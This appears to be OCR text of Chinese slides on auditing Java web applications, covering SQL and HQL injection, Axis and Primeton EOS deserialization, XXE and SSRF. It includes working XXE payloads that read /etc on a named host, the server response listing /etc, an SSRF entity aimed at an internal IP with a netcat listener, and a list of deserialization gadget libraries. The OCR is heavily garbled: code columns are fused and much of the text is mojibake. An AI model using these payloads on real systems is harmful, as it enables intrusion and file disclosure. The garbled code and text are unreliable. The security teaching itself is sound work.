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d.equals(

® N conn Co ionManager.getInstance(

Lnodeidfy

STEANERE:

select * from typestruct where nodeid in(1)
Lnodeidfy

STTEANERE:

select * from typestruct where nodeid in(

)




@ rEmewEit-Em

4 sqlmap

<z gmap-permission.xml

¢ SqlMapConfig.xml

¢(select id="getGroupList” resultMap="groupResult”>
select * from as_group

{/select>

(select id="getGourpListByUserId” resultMap="groupResult” parameterClass="java. lang String >

select tt. ¥ from as_group tt, as_user_group t
where t.user_id = #userId# and tt. group_id = t. group_id
{/select>
¢(select id="getUserByld” resultMap="userResult” parsmeterClass="java. lang String >
select t.user_id, t.user_name, t.passwd from as_user t
where t.user_id = Ids

{/select>

¢(select id="getRoleByld” resultMap="roleResult” parsmeterClass="com. ufgov. gmap.model Role™>

select ar.role_id, ar.role_name, ar.role_desc
, "$coCode$’ as co_code, “$orgCode$’ as org code, CREATOR
from as z
where ar.role_id = #1d#

{/select>

EE OF PN
EREYEPRIERBRORE, BROEN TSRS, SHTE
~

RigidA1234, HorgCodesy

STEANERE:

select ar.role id, ar.role name, ar.role desc,'1" as co _code, '1" as
org_code, CREATOR from as_role ar where ar.role id = 1
Lnodeid Ay

STEANERE:

select ar.role id, ar.role name, ar.role desc,'1' as co_code,

] ' as org_code, CREATOR

*from as_role ar where arxole id = 1
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AppServer

JPQL/HQL

. ! -JavaApp T ORM

ORMiEA

BEiErYESEMhibernate*—kBBE L E£IEZRNATEN

KB (JPQL)
SELECT e FROM user e WHERE e.id =

| 1
A (JPQL) |

O ORM sees:

I
String in  quotes

O DBMS gets:

Bool SQL expression — TRUE

Bool SQL expression — FALSE
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BEEEREXR I hibernate* kBB 215 ZGUAYEN

¥=FA (Hibernate ORM ) :
AppServer | test '
JPQL/HAL EERIHQLIEDHMAE S :

. : -JavaApp o1 ORM SELECT p FROM pl.btbw.persistent.Post p where p.name="

BT HEENSQLES:
select post0 .id as id1 0, post0 .name as name2 0 from post
postO “where post0 .name= '

XEBA ISR ER—MEYEE T




@ izewit-rrk -
public void init() throws ServletException {

if(connections == null) {
1 connections = new Vector();

}

< let ing>
Coabinidii if(server_socket == null) {
ServletConfig config = super. getServIetConflg()

{servlet—mame>SOAPMonitorService{/servlet—mame>

<url-pattern)/SOAFMoni tor (/url-pattern> String port = config.getinitParameter("SOAPMonitorPort");

{/sexvlet—mapping> if(port == null) {
port = "0";
{servlet> }
{servlet—mame>SOAPMonitorService{/servlet—mame> try {
) _ 1 ry
oL server socket = new ServerSocket(Integer.parselnt(port));
org. apache. axis. monitor. SOAPMoni torService } catch (EXCEptiOﬂ vard) {

¢/servlet—class> server_socket = null;

{init—param> }

{param—mame >SOAPMonitorPort{/param—mame>

|f(server socket != null) {

(param—value>5001</param—value> (new Thread(new SOAPMonitorService. ServerSocketThread())) start();
{/init—param> }

{load—on—startup>100{/load—on—startup> }

{/servlet>

p.ublic void doGet(HttpServletRequest request, HttpServletResponse response) throws |OException, ServletException {
int port = 0; «
if(server_socket != null) {
port = server socket.getLocalPort();
} .

. response.setContentType("text/html");
response.getWriter().printIn(" <object classid=\"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93\" width=100% height=100%
codebasez\"http://java.sun.com/products/plugin/1.3/jinstall-13-win32.cab#Version=1,3,0,0\">");
response.getWriter().printIn(" <param name=code value=SOAPMonitorApplet.class>");
response.getWriter().printIn(" <embed type=\"application/x-java-applet;version=1.3\" code=SOAPMonitorApplet.class width=100%
height=100% pont=\"" + port + "\" scriptable=false pluginspage=\"http://java.sun.com/products/plugin/13/plugin-install.htmI\">");
response.g riter().printIn(" <noembed>"); o
response.getWriter
response.getWriter
response.getWriter
response.getWriter
response.getWriter
response.getWriter

).printIn(" </comment>");

).printIn(" </noembed>"); - >
).printIn(" </embed>");
).printin(" </object>");
).printIn(" </body>");
).printIn(" </html>");

—~ 3 3 3 3

class ConnectionThread implements Runnable {
private Socket socket = null;
private ObjectinputStream in = null;
private ObjectOutputStream out = null; .
private boolean closed = false;

public ConnectionThread(Socket s) {
this.socket =s;

try {
this.out = new ObjectOutputStream(this.socket.getOutputStream());
this.out.flush();
this.in = new ObjectInputStream(this.socket.getinputStream());

} catch (Exception var6) {

}

synchronized(SOAPMonitorService.connections) {
SOAPMonitorService.connections.addElement(this);

}
}

public void close() {
this.closed = true;

try {
_this.socket.close();
} catch (IOException var2) {

1

}
}

public void run() {
while(true) {
try {
if('this.closed) {
Object ioe = this.in.readObject();

continue;

b
}-catch (Exception var6) {

}

i

synchronized(SOAPMonitorService.connections) {
SOAPMonitorService:connections.femoveElement(this); o
e
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M {4-izEEN

BT /MBS, AILUEENR ST/ etc/passwdRIRE

<?xml version="1.8" encoding="UTF-8"2> E§§U§
xe SYSTEM “file:///etc/">

BITIMERSEIR, BILAIESHR/ ete/ BRI FRIFFAX 4




@ crEzewit-xmzs °

= SSRF 153K172.16.169.153:1231

<?xml version="1.0"?2>
B<!DOCTYPE root [
<!ENTITY entity SYSTEM "http://172.16.169

1>

<root>&entity;</roo
rugal@rugal-Deepin: ~$ sudo nc -lvvp 1231 . SsrfIQE

listening on [any] 1231 ...
172.16.169.156: inverse host lookup failed: Host name lookup failure

g?nic;T;g”[WZ 16.169.153] from (UNKNOWN) [172.16.169.156] 60862 *E?EZ—HL.:. mﬁ?_-rﬂ,j_l_j]\lymz—_$$ 1§J§[Uava
1.FTP#Y, 2.HTTP#MY, 3.HTTPS#MY, GOPHER{ MY

Accept: */* SSREB-RY BEEHE
ser-Agent:
; SLCC2; . p
PC 6.0; . ‘ 2 #r ST discuz ssrEi@ifredisitifigetshell
Host: 172.168;3 ]

Connection:

ST

EphpHHESIE T, WRAR TR, BRARARIBEREC

<!ENTITY cme




- s ) , ' ' blic JSON read(String xml) { -
@ «uzewitmn * e |

try {

Document e = (new Builder()).build(new StringReader(xml));

4 i Element root = e.getRootElementy();

(zexvlet meFyisg> : P if(this.isNullObject(root)) {
{servletmame’dsr—invoker{/servletmame> ’ _ retur'n JSONNuII.getInstance();
{url-pattern’>/dvr/*{/url—pattern> } else { "

{/sexrvlet—mapping> String defaultType = this.getType(root, "string");

String key;

if(this.isArray(root, true)) { _

json = this.processArrayElement(root, defaultType);
if(this.forceTopLevelObject) {

{create creator= mewv javascript= JsTools”  scope= application”’ ! key =

{param name= class” value="cn. com. enorth pub3.mbx. common_mbx. JsTools" /> this.removeNamespacePrefix(root.getQualifiedName());

¢/ereate> json = (new JSONODbject()).element(key, json);
} . :
v } else {
. _ json'= this.processObjectElement(root, defaultType);

if(this.forceTopLevelObject) {

e : . key =
- L this.removeNamespacePrefix(root.getQualifiedName());
_ json = (new JSONODbiject()).element(key, json);

}

public static String parseXmlToJson(String xml) { }
if(xml = null && xml.trim().length() != 0) {
XMLSerializer xmlISeri = new XMLSerializer();
JSON json = xmlSeri.read(xml);
return json.toString();

" } else {

return (JSON)json;

}
} catch (JSONException var7) {

t - ’ _ throw.var7;
\ AL _ } catch (Exception var8) { >
} ‘ ’ throw new JSONException(var8); . R
— . } : .




@ itz

Raw | Params IHeaders IE]

Raw | Headers I Hex ]

POST /pub/dwr/call/plaincall/JsTools parseXmiTalson.dwr HTTP/1.1

Host: e Smmkcom.cn:9001

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW&64, rv:48.0) Gecko/20100101 Firefox/48.0
Arrwpt text/html, applu ation/ \htm|+\m| appln atlonr ml; q—ﬂ 9.**q=0.8

.A.l,,,pt—Enl,odlng, azip, dr:flatr:

Content-Type: text/plain

Referer: http://wessssiagséam.cn:9001/

Content-Length: 292

Cookie: JSESSIONID=3FFC8A0CEF61D74BEDF 175746A56B35C; DWRSESSIONID=IPyxkI16Q1mwiHFFik3TVIbZm69ohUc4fs|
{-Forwarded-For: 8.8.8.8"

Connection: keep-alive

callCount=1
nextReverseAjaxindex=0
cO-scriptName=JsTools
cO-methodName=parsexmiTodson
c0-id=0

c0-param0=string:<IDOCTYPE+xdsec+H<!ELEMENT+string+ANY+><IENTITY +xxe+SYSTEM+"file%3al//etc/"+>]><string>%26xxe % 3b<

/string>
scriptSessionld=IPyxkl16Q1mwlHFFik3TVIbZm&69ohUc4fsl/SKD5fsl-HDDtUzUG2

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/plain
Content-Length: 2723

Date: Tue, 12 Jun 2018 05:34:33 GMT

/F#DWR-INSERT

/FDWR-REPLY
dwr.engine._remoteHandleCallback('null','0","[\".pwd lock\\nacpit\nadjtime\\nalchemist\\naliases\\naliases.db\\nalsa\\nalternatives\\nanacrontab\\nat.deny\\na
udisp\\naudit\\nauto.master\\nauto.misc\\nauto.net\\nauto.smb\\nautofs_Ildap_auth.confi\navahit\nbashre\\nblkid\\nbluetooth\\nbonobo-activation\\ncapi.confy
\ncdrecord.conf\ncipe\\nconman.conf\ncron.dincron.daily\\ncron.deny\\ncron.hourly\\ncron.monthiy\\ncron weekly\\ncrontab\\ncsh.cshre\incsh.login\ncups
\\ndbus- 1\\ndefault\\ndepmod.d\\ndesktop-profiles\\ndev.d\\ndhcp6c.conf\inDIR_COLORSWNDIR_COLORS xterm\\indnsmasq.confi\ndnsmasq.d\\ndumpdate
s\\nenviranment\\nesd.conf\nexports\\nfb.modes\\nfilesystems\\nfirmware\\nfonts\\nfoomatic\\nfstab\\ngconfi\ngcryptiingdm\\ngetiog.sh\\ngetlog 1.sh\\nghost
scripti\ingnome-vfs-2.0\\ngnome-vfs-mime-magic\\ngpm-root.confi\ngre.d\\ngroup\\ngroup-\\ngrub .confi\ngshadow\\ngshadow-\\ngssapi_mech.confi\ngtk-2.0
\\nhal\nhaost.confi\nhosts\\nhosts.allow\\nhosts.bak\\nhosts.deny\\nhttpd\\nidmapd.confininit.d\\ninitiog.confininittab\\ninputrc\\niproute 2\\nisdn\\nissue\\niss
ue.net\njava\\njvm\injvm-commmon\\njwhais.conf\nkdump.conf\nkrb5.confinld.so.cache\W\nld.so.conf\nld.so.conf.d\\nidap.conf\niftp.conf\nlibaudit.confinli
buser.confi\nlocaltime\\nlogin.defs\\nlogrotate .conf\nlogrotate.d\\nlogwatch\\nisb-release.d\nlvm\inmail\\nmail.rc\\nmailcap\\nmakedev.d\\nman.config\\nmav
en\\inmgetty+sendfaxiinmime types\\nminicom.users\\nmke2fs.conf\nmodprobe.conf\nmadprobe .d\nmotd\nmtab\\nmtools.conf\nmultipath.conf\nMuttre\\n
Muttrc local\nnetplugW\nnetplug.dinNetworkManagen\\nnscd.confi\nnsswitch.conf\nntp\\nntp .conf\nopenidap\\nopti\npam_pkes 1 1\\npam_smb.confi\npam.d
\\npango\\npasswd\\npasswd-\\npcmcia\\nphp.d\\nphp.i inforc\\npkit\npm\\y \\nprelink.cac elink. \nprelink. dunprintcap\\nprofile\\nprofi
\ \\nrc2.di nrc6.d\nreadahead.d
) ) scim\\nscrollkeeper.

s\\nsestatus.con ‘xﬂSP‘tlDLIMFShOOt ns~tuptoo| d \nsgmi\nshadow\\nshadow-\\n
nsmaltd [ onf" smlsh "nsnmp nsound nsqLud nssh \nstunnel\nsudoers\\nsyscanfigi\nsysctl.confinsyslog.conf\ntermcap\\ntux.mime
updatedb.conf\nvimreW\nvirc\\nvsftpd\\inwarnquota.conf\nwebalizer.confi\nwgetrc\\nwpa_supplicant\nwvdial.confini1 1\\nxdg\\nxinetd.confi\
nflr'lv“td dinxmiinyp.confinyum\nyum.conf\nyum.repas.din\"]");
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‘ [ESSRIE S - BrEosHRER -‘.

<servlet>
<servlet-name>ControllerServlet</servlet- name> .
<servlet-class>

com.eos.access.http.ControllerServlet _
</servlet-class> : . x
<load-on-startup>10</load-on-startup> . . :
</serv|et>

<servlet-mapping>
<servlet-name>ControllerServlet</servliet-name>
<url-pattern>

t /WSAct|V|tyInstManagerSerwce

</url-pattern> o .

I ~ WebservicelE[iittsE

</servlet-mapping>

<servlet-mapping>
<servlet- name>ControllérServlet</servlet-name>
« | <url-pattern>* flowx</url-pattern>
</servlet-mapping>
....................... X
<servlet-mapping>
<servlet-name>ControllerServlet</servlet-name>
<url-pattern>* terminate</url—pattern>
« | </servlet-mapping>

- <servlet> :

RestiZ it 55

. | .<servlet-name>resteasyservlet</servlet-name>
<servlet-class>
com.primeton.components.rest.extend.CustomHttpServletDispatcher

let-class>
<grzl/let> .
<servlet-mapping> a -
<servlet-name>resteasyservlet</servlet-name > : 2
<url-pattern>/rest/services/* </url-pattern> :

</servlet-mapping>




‘ ESRiRtE TS TEOSTRIEL

XmlfiFtrEEWebserviceixzOEMABLEB T4L

vliet-name
/i furl-pattern>

et-mapping> [ Enable
- <wsdl:message name="findA y
<wsdl:part name="WFWebServ eption” ns:fi i yInstiD WFW ption”> </wsdl:part>
</wsdl:message>
<wsdl:message name="restartA
sdl:part name="restartActivitylnstance” element="nnsrestartActivitylnstance*= </wsdl:part=
</wsdl:message>
- <wsdl:message name-* ateActivitylnstanc
i R <wsdl:part name-‘te ateActivitylnstance® element = "nns:terminateAc sta </wsdl:part=
et-name </wsdl:message>
‘url-patterr - <wsdl:message nam: )
<wsdl:part name="chang yinst changeActivity! > </wsdl:part=>
'wsdl:message >
<wsdl:message name="finishActivitylnstBy
<wsdl:part name="V )5S tio ws:fi Activilyl yAClivitylD_WFWebServicebxception™s </wsdl:part=
</wsdl:message>
<url-patter Activity - i ‘ur attern> wsdl:message name
) . R <wsdl:part name="find/ ctivity ) vitylnstByActivitylnstiD* > </wsdl:part>
et-mapping> ’
</wsdl:message>
- <wsdl:message name= ] y >
<wsdl:part name="ch ctivitylnstStateRespon "nns =AC yIns eResp '> </wsdl:part>
'wsdl:message>
<wsdl:message name="suspendAclivilyinstance’=
sdl:part name - “suspendActivitylnstance® element

/let-mapping>




‘ {ERRER S REOSTIRIER e

-

@Path("/rest/services/bps/webcontrol") .
@Consumes({"application/json", "application/x-www-form-urlencoded"})
@Produces({"application/json"})

public class WebControlRestService {

public WebControlRestService() {

}

@POST
@Path("/queryParticipants")
public Map<String, Object> queryParticipants(HashMap<String, Object> mapObject) throws WFSerwceExceptlon JSONExceptlon{
HashMap resultMap = new HashMap();
String nodeBody = String.valueOf(getJsonFromMap(mapObject)); ,
DataObject node = (DataObject)changeToDataObject("node", nodeBody, Boolean.valueOf(true));
bject otherParamObj = (DataObJect)changeToDataObJect( otherParamObj", nodeBody, Boolean. vaIueOf(true))
resultMap.put("childNodes", SerV|ceUt|IqueryPart|C|pants(node otherParamObj));
return resuItMap

} _ "

@POST
@Path(’ '/searchParticipants")
public Map<String, Object> searehParticipants(HashMap <String, Object> mapObject) throws WFServiceException{
HashMap resultMap = new HashMap();
_String name = String.valueOf(mapObject.get("name"));
.Map extData = (Map)mapObJect get("extData");
‘PageCond page = (PageCond)mapObJect get("page");
resultMap.put("childNodes", ServiceUtil.searchParticipants(name, extData, page));
return resultMap;

Restiz[iE@ —A@EESU’—FH%ET

resteasy.resources=com.primeton.bps.web.control.restful. WebControlRest
Service

POST /rest/serwces/bps/webcontrol/queryProcessAndAct|V|ty HTTP/1.1
Host: localhost:8080

User- Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0)
Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml, appllcatlon/xml q=0.9,*/*,9=0. 8
Accept-Language: en-US,en;q=0.5

Content-Type: application/json ‘ - : .
Content-Length: 16

Cookie: UM distinctid=160cb8347c532e-02170ecaf6aeb- 4c322f7c—
1fa400-160cb8347c662d; CNZZDATA1261218610=1741751127-
1515241945-%7C1515241945;
JSESSIONID=F890E2EC8E8BC30F17DE9852F6D40B27

Connection: close

Upgrade-Insecure-Requests: 1

{"workltemID":1}




HES i IR HT—ZtEOSTF&IES '

{servlet—mapping>

private void process(HttpServletRequest request, HttpServletResponse response) throws IOException,

{servlet—mame>ControllerServlet{/servlet—mame> " | ServletException {

T T TRrs. £] ovx i |f(UserLo%|nCheckedF|Iter isPortal() && request getSessian().getAttribute("userObject”) == null) {
[UserObject e =

CustomObJectProwderProwder.getProwder().getVlrtuaIUserObJect(VlrtuaIUserObJectTypes.PORTAL_USER);
((UserObject)e).setUserRemotelP(HttpHelper.getRemoteAddr(request));
request.getSession().setAttribute("userObject”, e);

{/sexrvlet—mapping>

. try {
i WeblnterceptofManager.INSTANCE.createChain(request, response). dolntercept(request response);
} catch (Throwable var7) {
_ logger.error(var7);
{(servlet> IRIGELA

{servlet—mame>ControllerServlet{/servlet—mame> DataContextManager.current().reset();

_ - }

(sexrvlet—class>

com. eos. access. http. ControllerServlet }

. {/sexrvlet—class>

{load—on—startup>10{/load—on—startup>

{/servlet>

AR RHE B PR =Eas




‘ SRR S - BrREOSHRIES ' ‘ | .

public static final WeblInterceptorManager INSTANCE = new WeblnterceptorManager(); - ' 4 BB BT — N EC B ST S Ehandler-web.xm| EEHE,S NS N0
prlvate WeblnterceptorManager() {thls readConfigFile();} _ .
private void readConfigFile() { 1.WSlInterceptor webservicefiEKE&H
' . 2.Webl18NInterceptor
HandlerRegistry inteceptorRegistry = HandlerRegistry.load(WeblnterceptorManager.class.getClassLoader(), configDir, 3.HttpSecurityWeblnterceptor ERAIHEZRER
"handler-web.xml", IWeblnterceptor.class, "handler", "id", "class”, "sortldx", 100, false); 4.HttpRefererWeblnterceptor referert@ &
..... : : 5.UserLoginInterceptor B E
this.addInterceptorConfig(config); 6.AccessedResourcelnterceptor FRG R RGE
» . '

publit void addInterceptorConfig(WeblnterceptorConfig config) {

thiskonfigs.add(idx, config);
this.interceptors.add(idx, interceptor);

¢?xml version= 1.0" encoding="UTF-877>

<handlers>

public IWeblnterceptorChain createChain(HttpServletRequest request, HttpServletResponse response) {

IWeblnterceptor interceptor = (IWeblnterceptor)this.interceptors.get(i);
chain.addInterceptor(interceptor);

} : ¢handler id="TSInterceptor sortIdx="0" pattern="/%*" class="com. primeton.sca. host.wvebapp

} <¢handler id="TebI18NInterceptor sortIdx="1" pattern="/*" class="com. primeton. access.htd]

} ’ ¢handler id="HttpSecuritylebInterceptor” sortIdx="2" pattern="% flov,* jsp” class="com.e

} flna”y { <handler id="HttpRefererTebInterceptor” sortIdx="3" pattern= /*" class= com. eos.access.h
thiS.|OCk.readLOCk().un|OCk(); <handler id="UserLoginInterceptor sortIdx="100" pattern="/%*" class="com.eos.access. http

} . ¢handler id="AccessedResourcelnterceptor sortIdx="101" pattern="/*" class="com. primeton

return chain; ¢/handlers>




‘ SRR 73 th— B TTEOSFFRIESR

private static final int DEFAULT_IDX = -1;
private int pos = 0; Choose Implementation of dolntercept (11 found)

private FilterChain filte;(C) AccessedHttpResourceFilter

DispatchiebInterceptor
public WebInterceptorChaiy

}

FunctionWebInterceptor
HttpRefererWebInterceptor

public void doIntercept(H HttpSecurityfebInterceptor

1f(this pos = this. 4(C ProcessorfebInterceptor
1f(this. filterChaj
this. filterChs

RulesIpFilter

) SCAWebServiceServletFilter i
} else | (3 UserLoginCheckedFilter (com. eos. access. http) 1lib (eos—server—access—7.1.4.0. jar) [
IWebInterceptor ini'C UserLoginfebInterceptor ]

++this. pos; C) WebI18NInterceptor

interceptor. doIntercept(servletrequest, servlietresponse,

XS TR FEER D BEAK R
#ll, DB ERYIBIRINTS,
AR EX B B RAIERENRE
KF7N, HEURGZESItersER
EBE—RYIR IR E



‘ {ERRR AT -BrEosFRIEs

filtex>

(filtermame>InterceptorFilter{/filter—mame>
(filter—class>com. eos. access. http. InterceptorFilter{/filter—class>

/filtexr>

e E— R

¥

W | IXESCRRAE T R S RYIEEE:
1. handler-processor.xml
2.- handler-web.Xml

¢handler id="flowProcessor suffix="_flov" sortIdx="0"

class="com. primeton. ext. engine. core. processor. HttpPageFlovProcessor />

¢handler id="actionProcessor suffix="_action” sortIdx="

- - - - - g
class= com. primeton. ext. engine. core. processor. ActionProcessor />

\hmdler id:.do'nloadProcessor. suffixz', do'nload'
sortIdx="0"

class="com. primeton. access. http. impl. processor. DowvnloadProcessor” />

¢handler id="dowvnloadConfigProcessor suffix="_configdownload”
sortId=="0"

class="com. primeton. access. http. impl. processor. DovnloadConfigProcessor

!
)
A S — s «/////////////

= /5

public void init(FilterConfig arg0) throws ServletExceptlon {
this. |n|t()

}

public void init() { .
Map processors = RequstProcessors.INSTANCE.getAllProcessors();
Iterator e = processors.entrySet().i or();

erceptors = (Entry)e.next();

(ProcessorWeblnterceptor)WeblnterceptorManager. INSTANCE. getinterceptor("Processorinterceptor_
(String)interceptors.getKey());

|f(|nterceptor I=
ceptor.setProcessor((IProcessor)interceptors.getValue());

"y

public class WeblnterceptorManager {
private static final Logger logger = TraceLoggerFactory.getLogger(WeblnterceptorManager. cIass);
public static final WeblnterceptorManager INSTANCE = new WeblnterceptorManager();
private List<WeblnterceptorConfig> configs = new ArrayList();
private List<IWeblnterceptor> interceptors = new ArrayList();
private ReentrantReadWriteLock lock = new ReentrantReadWriteLock(true);

private WeblnterceptorManager() {
this.readConfigFile();
}

private void readConfigFile() {
File configDir = new File(ApplicationContext.getInstance().getApplicationConfigPath());
HandlerRegistry inteceptorRegistry =
HandlerRegistry.load(WeblnterceptorManager.class.getClassLoader(), configDir, "handler-web.xml",
IWeblnterceptor.class, "handler”, *id", "class", "sortldx", 100, false);
Iterator i$ = inteceptorRegistry.getEffectiveHandlerModels().iterator();

whilé(i$.hasNext()) { .
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KRR T ERHITE, 2RI —IR
" <handler id="flowProcessor" suffix="flow" sortldx="0"

° , class="com.primeton.ext.engine.core.proces
sor.HttpPageFlowProcessor" />

public class HttpPageFlowProcessor extends AbstractPageFlowProcessor {

public abstract class AbstractPageFlowProcessor extends AbstractProcessor {

public void process(HttpServIetRéquest request, HttpServletResponse.response) throws IOException, ServletException {
try { '

this.doProcess(e, (espohse, (IParameterSet)null);
} catch (Throwable var7) {

public void doProcess(HttpServletRequest request, HttpServletResponse response, IParameterSet parameterSetA) throws
IOException, ServletException { '

Object var35 = request.getAttribute(" eosRequestDataContext");
if(var35 != null && var35 instanceof PageflowRuntimeContext) {

if('this.hasUserDataConvert(pageFlowlnstance; var32.getStateName(), current_error_uri, this.getRequestedFlowID(request)))

IParameterSet vard2 = this.createParameterSet(requgst, response);
IVariable[] var44 = this.movelnnerParams((IVariable[])var38); TORE ‘
var42.build(var44, context); . e
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12

public-void build(IVariable[] vars, IDataContext context) {

String var33;
try {
var33 = (String)this.values.get(" eosFlowDataContext");

} catch (Exception var21) {
throw new RuntimeException("process eosFlowDataContext has exception!”, var21);

if(var33 = null && !var33.equals("")) {

try {
Object var35 = ContextSerializer.deserialize(var33);

13

public static Object deserialize(String codedString) throws IOException, ClassNotFoundException
{

BASE64Decoder decoder = new BASE64Decoder();

byte[] buf = decoder.decodeBuffer(codedString);

ByteArraylnputStream bais = new ByteArraylnputStream(buf);

ObjectlnputStream oos = new ObjectInputStream(bais);

Object o'= oos.readObject();

oos.close();

return o;

ocom.components.coframe.auth.login.login flow HTTP/1.1

64) AppleWebK KHTML, like Geckao) Chrome

html, applluatlnn; htmi+xml application/xml; ¢ 9.image/webp image/apng,*/*,q=0.8

Connection: close

_eosFlowDataContext=rO0AB

rame/auth/login/login.jsp

16141

Dy4qliu%2bP
3bmxvy?

24iLCJhdHRN
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HRREI T BAIIHATE, SRR —IR
, <handler id="ajaxBizProcessor" suffix=".biz.ajax"
° : ~ sortldx="0"
+ class="com.primeton.ext.engine.core.proces

s.or.AjaxBizProcessor" />

: - 14

public class AjaxBizProcessor extends AbstractBizProcessor {......}

public IParameterSet createParameterSet(HttpServletRequest request, HttpServletResponse response) {
response.setCharacterEncoding("UTF-8");

. X . -
return ParameterBuilder.createAjaxParamSet(request);

com.primeton.engine.cor.e.impI:process.parameter.ParameterBuiIder.createAjaxParamSet(ParametérBuiIder.java:39)

com.primeton.engine.core.impl.process.parameter.ParameterBuilder.buildParameterSet(ParameterBuilder.java:74),

" com.primeton.engine.core.impl.process.parameter.AjaxParameterSet.init

public void init() {
String xml = buffer.toString();
Document var11;
if(lgetXMLHeader(xml).contains("encoding")) {
String paramNode = MultipartResolver.getEncoding();
var11 = XmlUtil.parseStringThrowsException(xml, paramNode);
} else { A :
var11 = XmlUtil.parseString(xml);
} e o

15
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POST /coframe/auth/login/1234 biz.ajax HTTP/1.1

) AppleWebK .36 (KHTML, like Gecka) Chrome/65.0.3325.181

xhtml+xml application/ 9,image/webp image/apng,*/*;q
oframe/auth/login/login jsp

) 88ESBF611F6
Connection: close

% 3fxml+version%3d"1.0"+encoding%3d"utf-8'
<IDOCTYPE+xdsecH++

<IELEMENT+methodname+ANY+>

<IENTITY+x YSTEM+"file:/fftmp/pa"+>]>
<root><params><param><key>userName</key><value>test2</value></param><param><key>password</key><value>%26xx
e%3b</value></param><param=><key>__outParam</key><value>java.lang.String+result</value></param=><param><key>__
paramsinfo</key><value>java.lang.String+userName, +java.lang.Integer+password</value></param></params>
<data></data></root>

[eostest_war_exploded] [2018-06-13 15:15:54, 1181 [ERROR] [com. primeton. ext. engine. core. processor. AbstractProcessor:123]
java. lang RuntimeException: java.io. I0Exception: \tmp\pa (REFHTFRSERER ): ml version=1.0" encoding="utf-8"7>

<!DOCTYPE xdsec [

{!ELEMENT methodname ANY >

C!'ENTITY xxe SYSTEM "file:///tmp/pa” >1>
{root>{params’>{param><{keyuserName{/key>{value>test2{/value>{/param><{param>{key>password{/key><{value’fmxe; (/value>{/param>{param><{key>

{data>{/data>{/root>
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vax.xml.stream.XMLStreamReader;

x.xml.parsers.DocumentBuilderFactory;

j.io.SAXReader;
.sax.helpers.XMLReaderFactory;
ax.xml.parsers.SAXParser;
s.DocumentBuilder;

org.jdom.input.SAXBuilder;

org.dom4j.DocumentHelper;

o
[=3
o
(=3

or

.jdom.output.XMLOutputter;

XmlifgtrEE

FjavaZflF, Fit TIERERSHIZXmIERE, HFEREA
XEFEERIRxxe, FFABENIZEERXLEFNRER, BAlEda
FSNBSEIARS 1A, BEAMMNSENDOLHITITIR

’

i

piZE

4

y



= NMAEEIC-REFILE

REFFICEE

FjavaFBEUNRNRFIIE, FFARAREFRKERIERREFER BT &R
A, LIRSy iR

commons—beanutils:!
public s i i ne € had (0 ct commons—-collectio

commons—-collectio

groovy:
out.flus hiberna
javassist:
Jdk7u2l
java rmi

net.sf.

public

org.python:jython-standalon
rhino:js:1.7R2

org.apache.myfaces.core:myfaces—imp

org.springframework:spring-core:4.1.4.RELEASE

wicket-util:wicket-util:6.23




@ =rumzic-sumRmae

_ SMiEiRjare

FERRTRISBIEER, jartEFroEAae, BRRNE—LRHIeE,
N, RSN FARES Rjsont, KEETLIHEContent-type
REAEE— I, NTTEREIGE, HERASjarB FERFAIL
B, TR AS AR SHTRR

dd-plist.jar

fastjson.jar
jeckjson.jar

xstream.jar
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o o FREE, YERHEE, FAER, WOESSSHELICVE, 25
e ebeshers shee FEIRASRT, KBRS R AT &

(Struts2, spring,hibernate, thinkphp, django)

(java,php,C#)

(FreeMarker, stmary, Jinja2)
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=dwr, gwt, service, hessian,




EOmEmE 0 . - S

DWREED] - | . GWTIEM
| BANORSRER C 1L IR
2 RIRINATIE] - ' 2. BfGRwafieiR
3.DebugiAS THIEEE - 3. EOKEE

WEBSERVICE#[ HESSIAN#]

1 BIANREERE 1RENESRE
2RISR ‘ F 2. GHswaf iR . v

3.BEXEERRE ; ’ . 3.BEKEERE -
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<servlet-mapping>

<servlet-name>AxisServlet</servlet-name>
<url-pattern>/servlet/AxisServlet</url-pattern>
</servlet-mapping> . i
<servlet-mapping> .
<servlet-name>AxisServlet</servlet-name>
<url-pattern>*jws</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/service/*</url-pattern>
.</servlet-mapping>
<servlet-mapping>
<servlet- name>AxisServIet</servIet name>
<url- pattern>/serV|ces/*</urI pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>SOAPMonitorService</servlet-name>
<url-pattern>/SOAPMonitor</url-pattern>
</servlet-mapping>

axis?2

<servlet-mapping>
<servlet-name>XFireServlet</servlet-name>
<url-pattern>/servlet/XFireServlet/* </url-pattern>
</servlet-mapping>

<servlet-mapping> .
<servlet-name>XFireServlet</servlet-name>
<url-pattern>/services/*</url-pattern>

</servlet-mapping>
xfive

<servlet>
<servlet-name>AxisServlet</servlet-name >
<servlet-class>

org.apache.axis.transport.http. AX|sServIet

</servlet-class>

</servlet>

<servlet-mapping>
<servlet-name>AxisServlet</servlet-name >
<url-pattern>/services/* </url-pattern>

</servlet-mapping>

axisl
<servlet>

<servlet-name>CXFServlet</servlet-name>

<servletclass>org.apache.cxf.transport.serviet.CXFServlet</servlet-
class> _

<load-on-startup>1</load-on-startup>

* </serviet>

<servlet-mapping>
<servlet- name>CXFServIet</servIet name> °°
<url-pattern>/webservice/* </url-pattern>

</serviet-mapping> ; .
cxf+spring
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C | O e

his XML file does not appear to have any style information associated with it. The document tree is shown below.

mlns: inpl:
http: / W

Jws3IFER T

BEMSjwsX B Raxis2 R MAI—IPRIMF I, ARESHIREITAR

2RE

[E55Y

~

Sp— 1. EwebBREBEXjWsEREAISUS

comDAL theDAL:
e String ql:

s 2. {RIBTIRIAIwe by B RBT A ST 1

theDAL = nes comDAL()

ot e i e e s et 3. SHEHER AR A TR

ret = rs. getInt("userid”);

close

theDAL. clo:

return(ret):

public int
int UserID
UserID rID (Userlame)
theDAL ew comDAL();

String ids = FindRootColumns(UserID)

strSql count(id) as ct from cms_content where status in(102,1,2,104,1 umnid in (7 +ids + )"
out. println(strSql):
ResultSet rsc = theDAL. DoSelect(strSql):
int ret=0;
=null) {

getlnt("ct”)

y

}
theDAL. close ()

return (ret):




: T FHE 18 -webservice

<html>

<head>

<title>SOAP Monitor</title>

</head>

<body>

<object classid="clsi 40-044 i i codebase=

<param name: ble”
<param name value="5
<comment>

<embed t

